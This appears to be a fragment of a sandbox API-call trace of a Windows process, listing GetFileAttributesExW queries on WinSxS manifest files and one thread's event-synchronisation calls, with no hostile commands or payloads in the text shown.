	[0107.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-calendardata_31bf3856ad364e35_6.1.7600.16385_none_7c90b8600770e55a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-calendardata_31bf3856ad364e35_6.1.7600.16385_none_7c90b8600770e55a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d368 | out: lpFileInformation=0x1282d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a63bf35, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7a63bf35, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb356df93, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x452)) returned 1
	[0107.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-437_31bf3856ad364e35_6.1.7600.16385_none_cee73286fc6746d9.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-437_31bf3856ad364e35_6.1.7600.16385_none_cee73286fc6746d9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d3b8 | out: lpFileInformation=0x1282d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e548d2, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86e548d2, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x37435ca7, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9fd)) returned 1
	[0107.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-500_31bf3856ad364e35_6.1.7600.16385_none_ceda0134fc71635e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-500_31bf3856ad364e35_6.1.7600.16385_none_ceda0134fc71635e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d408 | out: lpFileInformation=0x1282d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8651b44c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8651b44c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb2492d0, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x935)) returned 1
	[0107.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-708_31bf3856ad364e35_6.1.7600.16385_none_cec3ab1cfc826848.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-708_31bf3856ad364e35_6.1.7600.16385_none_cec3ab1cfc826848.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d458 | out: lpFileInformation=0x1282d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86567706, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86567706, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3e2bf760, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f1)) returned 1
	[0107.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-720_31bf3856ad364e35_6.1.7600.16385_none_cec661f0fc7fcdee.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-720_31bf3856ad364e35_6.1.7600.16385_none_cec661f0fc7fcdee.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d4a8 | out: lpFileInformation=0x1282d4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86567706, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86567706, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x92ef4a44, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xa09)) returned 1
	[0107.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-737_31bf3856ad364e35_6.1.7600.16385_none_cec6c2c2fc7f9aac.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-737_31bf3856ad364e35_6.1.7600.16385_none_cec6c2c2fc7f9aac.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d4f8 | out: lpFileInformation=0x1282d4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87578a42, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87578a42, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa071e76b, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9f7)) returned 1
	[0107.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-775_31bf3856ad364e35_6.1.7600.16385_none_cecaf17afc7bccc6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-775_31bf3856ad364e35_6.1.7600.16385_none_cecaf17afc7bccc6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d548 | out: lpFileInformation=0x1282d548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867568bf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x867568bf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8be7b2ac, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9ef)) returned 1
	[0107.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-850_31bf3856ad364e35_6.1.7600.16385_none_cebe92e2fc8535e4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-850_31bf3856ad364e35_6.1.7600.16385_none_cebe92e2fc8535e4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d598 | out: lpFileInformation=0x1282d598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e548d2, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86e548d2, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x316ed5ee, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x935)) returned 1
	[0107.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-852_31bf3856ad364e35_6.1.7600.16385_none_cebe6552fc856926.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-852_31bf3856ad364e35_6.1.7600.16385_none_cebe6552fc856926.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d5e8 | out: lpFileInformation=0x1282d5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d23dea, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86d23dea, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7bf56e4b, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f3)) returned 1
	[0107.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-855_31bf3856ad364e35_6.1.7600.16385_none_cebe20fafc85b609.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-855_31bf3856ad364e35_6.1.7600.16385_none_cebe20fafc85b609.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d638 | out: lpFileInformation=0x1282d638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8696bbd5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8696bbd5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x65a6f50a, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f3)) returned 1
	[0107.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-857_31bf3856ad364e35_6.1.7600.16385_none_cebdf36afc85e94b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-857_31bf3856ad364e35_6.1.7600.16385_none_cebdf36afc85e94b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d688 | out: lpFileInformation=0x1282d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637854d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8637854d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6c3058eb, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f1)) returned 1
	[0107.519] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-858_31bf3856ad364e35_6.1.7600.16385_none_cebddca2fc8602ec.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-858_31bf3856ad364e35_6.1.7600.16385_none_cebddca2fc8602ec.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d6d8 | out: lpFileInformation=0x1282d6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e7aa2f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86e7aa2f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x866b49ba, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0xa19)) returned 1
	[0107.519] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-860_31bf3856ad364e35_6.1.7600.16385_none_cebf932cfc844f3b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-860_31bf3856ad364e35_6.1.7600.16385_none_cebf932cfc844f3b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d728 | out: lpFileInformation=0x1282d728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f39100, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f39100, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x584cc426, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f7)) returned 1
	[0107.519] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-861_31bf3856ad364e35_6.1.7600.16385_none_cebf7c64fc8468dc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-861_31bf3856ad364e35_6.1.7600.16385_none_cebf7c64fc8468dc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d778 | out: lpFileInformation=0x1282d778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f12fa3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f12fa3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x502c55d0, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f5)) returned 1
	[0107.519] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-862_31bf3856ad364e35_6.1.7600.16385_none_cebf659cfc84827d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-862_31bf3856ad364e35_6.1.7600.16385_none_cebf659cfc84827d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d7c8 | out: lpFileInformation=0x1282d7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874e04ce, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x874e04ce, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6c5b3199, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9ef)) returned 1
	[0107.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-863_31bf3856ad364e35_6.1.7600.16385_none_cebf4ed4fc849c1e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-863_31bf3856ad364e35_6.1.7600.16385_none_cebf4ed4fc849c1e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d818 | out: lpFileInformation=0x1282d818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f12fa3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f12fa3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x926eb52e, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0xa01)) returned 1
	[0107.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-864_31bf3856ad364e35_6.1.7600.16385_none_cebf380cfc84b5bf.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-864_31bf3856ad364e35_6.1.7600.16385_none_cebf380cfc84b5bf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d868 | out: lpFileInformation=0x1282d868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86567706, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86567706, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x43bb6b4a, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9ef)) returned 1
	[0107.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-865_31bf3856ad364e35_6.1.7600.16385_none_cebf2144fc84cf60.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-865_31bf3856ad364e35_6.1.7600.16385_none_cebf2144fc84cf60.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d8b8 | out: lpFileInformation=0x1282d8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f12fa3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f12fa3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4ff0c87d, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9ef)) returned 1
	[0107.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-866_31bf3856ad364e35_6.1.7600.16385_none_cebf0a7cfc84e901.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-866_31bf3856ad364e35_6.1.7600.16385_none_cebf0a7cfc84e901.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d908 | out: lpFileInformation=0x1282d908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86945a78, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86945a78, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7a5271ef, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9f1)) returned 1
	[0107.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-869_31bf3856ad364e35_6.1.7600.16385_none_cebec624fc8535e4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-869_31bf3856ad364e35_6.1.7600.16385_none_cebec624fc8535e4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d958 | out: lpFileInformation=0x1282d958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87578a42, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87578a42, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x65db5334, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9fb)) returned 1
	[0107.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-870_31bf3856ad364e35_6.1.7600.16385_none_cec09376fc836892.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-870_31bf3856ad364e35_6.1.7600.16385_none_cec09376fc836892.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d9a8 | out: lpFileInformation=0x1282d9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87069be8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87069be8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x301c31b, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xa29)) returned 1
	[0107.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-874_31bf3856ad364e35_6.1.7600.16385_none_cec03856fc83cf16.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-874_31bf3856ad364e35_6.1.7600.16385_none_cec03856fc83cf16.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282d9f8 | out: lpFileInformation=0x1282d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8746e0b7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8746e0b7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6dd9110, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9f5)) returned 1
	[0107.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-875_31bf3856ad364e35_6.1.7600.16385_none_cec0218efc83e8b7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-875_31bf3856ad364e35_6.1.7600.16385_none_cec0218efc83e8b7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282da48 | out: lpFileInformation=0x1282da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875c4cfc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x875c4cfc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2e5af019, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0xa09)) returned 1
	[0107.522] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-932_31bf3856ad364e35_6.1.7600.16385_none_ceb194d2fc8f5269.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-932_31bf3856ad364e35_6.1.7600.16385_none_ceb194d2fc8f5269.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282da98 | out: lpFileInformation=0x1282da98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683b0ed, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8683b0ed, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9e7e1289, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xb0d)) returned 1
	[0107.522] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-936_31bf3856ad364e35_6.1.7600.16385_none_ceb139b2fc8fb8ed.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-936_31bf3856ad364e35_6.1.7600.16385_none_ceb139b2fc8fb8ed.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282dae8 | out: lpFileInformation=0x1282dae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866be34b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x866be34b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xd2a0ba42, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xb29)) returned 1
	[0107.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-949_31bf3856ad364e35_6.1.7600.16385_none_ceb1f5a4fc8f1f27.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-949_31bf3856ad364e35_6.1.7600.16385_none_ceb1f5a4fc8f1f27.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282db38 | out: lpFileInformation=0x1282db38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86436c1e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86436c1e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xcdb0c235, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xaff)) returned 1
	[0107.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tional-codepage-950_31bf3856ad364e35_6.1.7600.16385_none_ceb3c2f6fc8d51d5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tional-codepage-950_31bf3856ad364e35_6.1.7600.16385_none_ceb3c2f6fc8d51d5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282db88 | out: lpFileInformation=0x1282db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876833cd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876833cd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xfe3ca3bc, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xb37)) returned 1
	[0107.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tivexpolicyprovider_31bf3856ad364e35_8.0.7600.16385_none_a6fb970a2407b1ca.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tivexpolicyprovider_31bf3856ad364e35_8.0.7600.16385_none_a6fb970a2407b1ca.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282dbd8 | out: lpFileInformation=0x1282dbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e924f92, ftCreationTime.dwHighDateTime=0x1ca0425, ftLastAccessTime.dwLowDateTime=0x7e924f92, ftLastAccessTime.dwHighDateTime=0x1ca0425, ftLastWriteTime.dwLowDateTime=0x7e94b0f1, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1cdf)) returned 1
	[0107.524] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35_8.0.7601.17514_none_1eaaa4a07717236e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35_8.0.7601.17514_none_1eaaa4a07717236e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282dc28 | out: lpFileInformation=0x1282dc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fe8c1ba, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5fe8c1ba, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5feb231a, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x9fdc)) returned 1
	[0107.524] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..traditional-chinese_31bf3856ad364e35_6.1.7600.16385_none_f2a756ec0b353720.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..traditional-chinese_31bf3856ad364e35_6.1.7600.16385_none_f2a756ec0b353720.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282dc78 | out: lpFileInformation=0x1282dc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c00b59, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x89c00b59, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb2c5abf0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2ae)) returned 1

Thread:
	id = 5
	os_tid = 0xb00

	[0028.432] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3268ff60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3268ff60*=0x88) returned 1
	[0028.432] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x8c
	[0028.432] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0028.475] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0028.542] SetEvent (hEvent=0x80) returned 1
	[0028.542] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.480] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.486] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.487] SetEvent (hEvent=0x80) returned 1
	[0050.487] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.487] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.489] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0051.481] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0051.483] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0052.488] SetEvent (hEvent=0x80) returned 1
	[0052.489] SetEvent (hEvent=0xb4) returned 1
	[0052.489] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0052.494] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0052.494] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0052.495] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] SetEvent (hEvent=0x80) returned 1
	[0052.495] SetEvent (hEvent=0xb4) returned 1
	[0052.495] SetEvent (hEvent=0x78) returned 1
	[0052.495] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] SetEvent (hEvent=0x78) returned 1
	[0052.495] SetEvent (hEvent=0x6c) returned 1
	[0052.495] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0052.497] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
